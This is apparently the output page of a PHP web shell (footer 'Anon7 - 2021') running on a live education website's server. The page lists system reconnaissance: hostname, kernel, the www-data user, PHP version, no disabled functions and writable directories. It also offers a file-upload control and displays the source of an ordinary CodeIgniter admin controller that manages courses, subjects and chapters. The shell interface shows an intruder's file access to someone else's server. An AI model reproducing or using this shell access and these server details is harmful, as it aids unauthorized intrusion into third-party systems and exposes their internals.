KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1525618.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 8.2.12
Disable Function : NONE
Directory :  /var/www/parasoffline.edukrypt.in/application/modules/admin/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/parasoffline.edukrypt.in/application/modules/admin/controllers/Folder.php
<?php
defined('BASEPATH') or exit('No direct script access allowed');

class Folder extends Admin_Controller
{

    public function __construct()
    {
        parent::__construct();
        $this->load->library('form_builder');
        $this->load->model(['Folder_model', 'Main_model']);
    }
    // Course Crud
    public function course()
    {
        $crud = $this->generate_crud('courses');

        if ($this->session->userdata('user_id') == 1) {
            //$crud->where('admin_id',$this->session->userdata('user_id'));
        } else {
            $crud->where('admin_id', $this->session->userdata('user_id'));
        }

        $crud->columns('course');
        $crud->display_as('admin_id', 'Admin', 'Last Update');
        $crud->fields('course', 'admin_id', 'last_update');
        $crud->set_relation('admin_id', 'admin_users', 'username');
        $crud->set_rules('course', 'Course Name', 'required');
        $crud->set_rules('last_update', 'Last Update', 'required');
        $crud->set_rules('admin_id', 'Admin ID', 'required');


        if ($this->session->userdata('user_id') == 1) {
        } else {
            $crud->callback_add_field('admin_id', function () {
                return '<select id="admin_id" name="admin_id" class="chosen-select chzn-done" data-placeholder="Select Course" style="width: 300px; ">
                        <option  value="">--select--</option>
                        <option selected value="' . $this->session->userdata('user_id') . '">' . $this->session->userdata('username') . '</option>
                        
                        </select>';
            });

            $crud->callback_add_field('last_update', function () {
                return '<input name="last_update" type="text" value="' . uniqid() . '" readonly /><br>'
                    . '<i style="color:red;">auto generated field plz refresh if its blank!!!</i>';
            });

            $crud->callback_edit_field('last_update', function () {
                return '<input name="last_update" type="text" value="' . uniqid() . '" readonly /><br>'
                    . '<i style="color:red;">auto generated field plz refresh if its blank!!!</i>';
            });

            $crud->callback_edit_field('admin_id', function () {
                return '<select id="admin_id" name="admin_id" class="chosen-select chzn-done" data-placeholder="Select Course" style="width: 300px; ">
                        <option  value="">--select--</option> 
                        <option selected value="' . $this->session->userdata('user_id') . '">' . $this->session->userdata('username') . '</option>
                        </select>';
            });
            $crud->callback_before_insert(array($this, 'course_callback'));
        }




        $this->mTitle = 'Courses';
        $this->render_crud();
    }

    function course_callback($post_array)
    {
        $post_array['course'] = $post_array['course'];
        $post_array['admin_id'] = $post_array['admin_id'];
        $post_array['last_update'] = $post_array['last_update'];
        return $post_array;
    }


    // Subjects crud
    public function subject()
    {
        $crud = $this->generate_crud('subjects');
        if ($this->session->userdata('user_id') == 1) {
            //$crud->where('admin_id',$this->session->userdata('user_id'));
        } else {
            $crud->where('subjects.admin_id', $this->session->userdata('user_id'));
        }

        $crud->columns('subject', 'course_id');
        $crud->display_as('course_id', 'Course');
        $crud->display_as('admin_id', 'Admin');


        //$crud->fields('course','course_id','admin_id');
        $crud->set_relation('course_id', 'courses', 'course');
        $crud->set_relation('admin_id', 'admin_users', 'username');



        $crud->set_rules('subject', 'subject Name', 'required');
        $crud->set_rules('last_update', 'Last Update', 'required');
        $crud->set_rules('course_id', 'Course', 'required');
        $crud->set_rules('admin_id', 'Admin', 'required');

        if ($this->session->userdata('user_id') == 1) {
        } else {

            $crud->callback_add_field('admin_id', function () {
                return '<select id="admin_id" name="admin_id" class="chosen-select chzn-done" data-placeholder="Select Course" style="width: 300px; ">
                        <option value="">--select--</option>
                        <option selected value="' . $this->session->userdata('user_id') . '">' . $this->session->userdata('username') . '</option>
                        
                        </select>';
            });
            $crud->callback_edit_field('admin_id', function () {
                return '<select id="admin_id" name="admin_id" class="chosen-select chzn-done" data-placeholder="Select Course" style="width: 300px; ">
                        <option  value="">--select--</option>
                        
                            
                        <option selected value="' . $this->session->userdata('user_id') . '">' . $this->session->userdata('username') . '</option>
                        
                        </select>';
            });

            $crud->callback_add_field('last_update', function () {
                return '<input name="last_update" type="text" value="' . uniqid() . '" readonly /><br>'
                    . '<i style="color:red;">auto generated field plz refresh if its blank!!!</i>';
            });

            $crud->callback_edit_field('last_update', function () {
                return '<input name="last_update" type="text" value="' . uniqid() . '" readonly /><br>'
                    . '<i style="color:red;">auto generated field plz refresh if its blank!!!</i>';
            });

            $crud->callback_add_field('course_id', function () {

                $query = $this->db->where('admin_id', $this->session->userdata('user_id'))->get('courses');

                $rest = '';
                foreach ($query->result() as $result) {
                    $rest .= '<option value="' . $result->id . '">' . $result->course . '</option>';
                }

                return '<select id="course_id" name="course_id" class="chosen-select chzn-done" data-placeholder="Select Course" style="width: 300px; ">
                        <option selected value="">--select--</option>' . $rest . '</select>';
            });

            $crud->callback_edit_field('course_id', function () {
                $query = $this->db->where('admin_id', $this->session->userdata('user_id'))->get('courses');
                $query1 = $this->db->where('id', $this->uri->segment(5))->get('subjects');
                $crnt_course_id = $query1->result_array()[0]['course_id'];
                $rest = '';

                foreach ($query->result() as $result) {
                    if ($crnt_course_id == $result->id) {
                        $rest .= '<option selected value="' . $result->id . '">' . $result->course . '</option>';
                    } else {
                        $rest .= '<option value="' . $result->id . '">' . $result->course . '</option>';
                    }
                }

                return '<select id="course_id" name="course_id" class="chosen-select chzn-done" data-placeholder="Select Course" style="width: 300px; ">
                        <option  value="">--select--</option>' . $rest . '</select>';
            });


            $crud->callback_before_insert(array($this, 'subject_callback'));
        }




        $this->mTitle = 'Subjects';
        $this->render_crud();
    }

    function subject_callback($post_array)
    {
        $post_array['subject'] = $post_array['subject'];
        $post_array['course_id'] = $post_array['course_id'];
        $post_array['admin_id'] = $post_array['admin_id'];
        $post_array['last_update'] = $post_array['last_update'];
        return $post_array;
    }

    // Chapters crud
    public function chapter()
    {

        $crud = $this->generate_crud('chapters');
        if ($this->session->userdata('user_id') == 1) {
            //$crud->where('admin_id',$this->session->userdata('user_id'));
        } else {
            $crud->where('chapters.admin_id', $this->session->userdata('user_id'));
        }

        $crud->columns('chapter', 'subject_id');
        $crud->display_as('subject_id', 'subject');
        $crud->display_as('admin_id', 'Admin');


        //$crud->fields('course','course_id','admin_id');
        $crud->set_relation('subject_id', 'subjects', 'subject');
        $crud->set_relation('admin_id', 'admin_users', 'username');

        $crud->set_rules('chapter', 'chapter Name', 'required');
        $crud->set_rules('last_update', 'Last Update', 'required');
        $crud->set_rules('subject_id', 'Subject', 'required');
        $crud->set_rules('admin_id', 'Admin', 'required');

        if ($this->session->userdata('user_id') == 1) {
        } else {
            // Add Field Admin
            $crud->callback_add_field('admin_id', function () {
                return '<select id="admin_id" name="admin_id" class="chosen-select chzn-done" data-placeholder="Select Course" style="width: 300px; ">
                        <option  value="">--select--</option>
                        <option selected value="' . $this->session->userdata('user_id') . '">' . $this->session->userdata('username') . '</option>
                        
                        </select>';
            });
            $crud->callback_add_field('last_update', function () {
                return '<input name="last_update" type="text" value="' . uniqid() . '" readonly /><br>'
                    . '<i style="color:red;">auto generated field plz refresh if its blank!!!</i>';
            });

            $crud->callback_edit_field('last_update', function () {
                return '<input name="last_update" type="text" value="' . uniqid() . '" readonly /><br>'
                    . '<i style="color:red;">auto generated field plz refresh if its blank!!!</i>';
            });
            // Edit Field Admin
            $crud->callback_edit_field('admin_id', function () {
                return '<select id="admin_id" name="admin_id" class="chosen-select chzn-done" data-placeholder="Select Course" style="width: 300px; ">
                        <option  value="">--select--</option>
                        
                            
                        <option selected value="' . $this->session->userdata('user_id') . '">' . $this->session->userdata('username') . '</option>
                        
                        </select>';
            });

            // Add Field Subject  
            $crud->callback_add_field('subject_id', function () {

                $query = $this->db->where('admin_id', $this->session->userdata('user_id'))->get('subjects');

                $rest = '';
                foreach ($query->result() as $result) {
                    $rest .= '<option value="' . $result->id . '">' . $result->subject . '</option>';
                }

                return '<select id="subject_id" name="subject_id" class="chosen-select chzn-done" data-placeholder="Select Course" style="width: 300px; ">
                        <option selected value="">--select--</option>' . $rest . '</select>';
            });

            $crud->callback_edit_field('subject_id', function () {
                $query = $this->db->where('admin_id', $this->session->userdata('user_id'))->get('subjects');
                $query1 = $this->db->where('id', $this->uri->segment(5))->get('chapters');
                //var_dump($query1->result());exit;
                $crnt_course_id = $query1->result_array()[0]['subject_id'];

                $rest = '';

                foreach ($query->result() as $result) {
                    if ($crnt_course_id == $result->id) {
                        $rest .= '<option selected value="' . $result->id . '">' . $result->subject . '</option>';
                    } else {
                        $rest .= '<option value="' . $result->id . '">' . $result->subject . '</option>';
                    }
                }

                return '<select id="subject_id" name="subject_id" class="chosen-select chzn-done" data-placeholder="Select Course" style="width: 300px; ">
                        <option  value="">--select--</option>' . $rest . '</select>';
            });


            $crud->callback_before_insert(array($this, 'chapter_callback'));
        }




        $this->mTitle = 'Chapters';
        $this->render_crud();
    }

    function chapter_callback($post_array)
    {
        $post_array['chapter'] = $post_array['chapter'];
        $post_array['subject_id'] = $post_array['subject_id'];
        $post_array['admin_id'] = $post_array['admin_id'];
        $post_array['last_update'] = $post_array['last_update'];
        return $post_array;
    }
}

Anon7 - 2021